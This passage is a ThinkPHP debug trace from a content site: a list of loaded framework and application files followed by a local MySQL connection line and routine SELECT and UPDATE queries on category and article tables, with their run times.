  133. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  134. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  135. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/app/controller/Es.php ( 3.30 KB )
  136. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  137. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  138. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  139. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  140. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  141. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  142. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  143. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  144. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/runtime/temp/c935550e3e8a3a4c27dd94e439343fdf.php ( 31.50 KB )
  145. /yingpanguazai/ssd/ssd1/www/wwww.yeyulingfeng.com/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000939s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.001515s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000666s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000687s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.001216s ]
  6. SELECT * FROM `set` [ RunTime:0.000574s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.001504s ]
  8. SELECT * FROM `article` WHERE `id` = 655568 LIMIT 1 [ RunTime:0.001364s ]
  9. UPDATE `article` SET `lasttime` = 1779427192 WHERE `id` = 655568 [ RunTime:0.001621s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000576s ]
  11. SELECT * FROM `article` WHERE `id` < 655568 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.001093s ]
  12. SELECT * FROM `article` WHERE `id` > 655568 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.001044s ]
  13. SELECT * FROM `article` WHERE `id` < 655568 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.001361s ]
  14. SELECT * FROM `article` WHERE `id` < 655568 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.002100s ]
  15. SELECT * FROM `article` WHERE `id` < 655568 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.001725s ]
0.207072s